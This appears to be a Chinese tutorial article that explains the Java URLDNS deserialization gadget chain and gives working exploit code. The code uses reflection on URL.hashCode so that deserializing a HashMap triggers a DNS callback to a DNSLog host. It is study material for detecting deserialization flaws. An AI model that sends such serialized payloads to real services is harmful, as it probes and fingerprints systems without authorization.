欢迎您访问 最编程 本站为您分享编程语言代码,编程技术文章!
您现在的位置是: 首页

使用Java进行URL DNS链路的安全探查与实验性实现

最编程 2024-07-22 17:39:44
...

思路整理

根据上面的链路分析,我们首先需要创建一个指向DNSLog平台链接URL对象,然后作为传入HashMap数组,最后将该数组进行序列化,然后反序列化调用其readObject方法,将URL对象赋值给key,然后使用hash方法处理URL对象,再调用URL对象的hashcode方法,然后以URL对象为参数,传入URLStreamHandler类的hashCode方法,对URL对象指向的链接进行访问

初步exp

现在的exp大体如下

import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://j0obud.dnslog.cn/");//这里替换为DNSLog平台分配的地址
        map.put(url,"114");//键值用不到,随便设置
        try {
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

我们在第13行打个断点,也就是try的这一行
image-20240212212811603

然后运行代码,发现未经序列化与反序列化仍然能对url进行DNS解析
image-20240212212811603
正是下面这一行代码导致了url的提前解析

map.put(url,"114");//键值用不到,随便设置

我们去看下map(HashMap类)的put方法,代码如下

    public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

我们发现,这个put方法readObject方法触发的语句完全一样,同样会对URL对象执行HashMap类中的hash方法,然后就和上文所述的过程相同,最总到达hashCode方法,对URL对象解析

return putVal(hash(key), key, value, false, true);

下面是这两个方法的语句对比可以看到是一模一样的

put方法:
image-20240212213743511
readObject方法:

image-20240212213743511

需要注意的是假如提前触发的话,反序列化的时候便不会再进行DNS解析

我们再次回到URL类中的hashCode方法,并看一下其hashCode属性的定义

private int hashCode = -1;
public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

可以看到只有当 hashCode = -1时,才会执行hashCode = handler.hashCode(this);,从而到下一步DNS解析,然后 hashCode属性被赋值为这个URL解析的哈希值,从而为一个很长的正数,从而不为 -1,然后序列化的时候这个hashCode属性值保持不变,当反序列化到hashCode方法时,以为 hashCode != -1 直接进入if,执行return hashCode;,最终到这里就断掉了,无法触发DNS解析

exp改进

那怎么办呢?

我们可以先在put时,将 hashCode 值通过反射修改为任意一个不为 -1 的数字,从而不会提前触发DNS解析,然后在put完成后,我们再通过反射将 hashCode值设为 -1,示例如下

field.set(url,123); //将url的hashcode属性改为123使其不等于-1
map.put(url,"2333"); //这里的value用不上,随便设置
field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashCode(this);

通过反射我们可以动态修改一个对象中的属性和方法

最终exp

package org.example;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://mm4dhq.dnslog.cn/");//这里替换为DNSLog平台分配的地址
        Class clas = url.getClass();
        Field field = clas.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(url,123); //将url的hashcode属性改为123使其不等于-1
        map.put(url,"2333"); //这里的value用不上,随便设置
        field.set(url,-1);//put完之后,我们就需要将hashcode属性改回成-1,从而能执行handler.hashcode
        try {
            //序列化
            FileOutputStream outputStream = new FileOutputStream("./2.ser");
            ObjectOutputStream outputStream1 = new ObjectOutputStream(outputStream);
            outputStream1.writeObject(map);
            outputStream.close();
            outputStream1.close();
            //反序列化,此时触发dns请求
            FileInputStream inputStream = new FileInputStream("./2.ser");
            ObjectInputStream objectInputStream = new ObjectInputStream(inputStream);
            objectInputStream.readObject();
            objectInputStream.close();
            inputStream.close();
        }catch (Exception e){
            e.printStackTrace();
        }
    }
}

我们再次在put语句下面打断点,观察是否还会提前触发,可以看到DNSLog平台没有记录,代表put时由于hashCode值不为 -1 ,没有执行handler.hashCode(this)

image-20240212213743511 我们在断点处继续执行,可以看到反序列化成功触发了DNS解析 image-20240212213743511

推荐阅读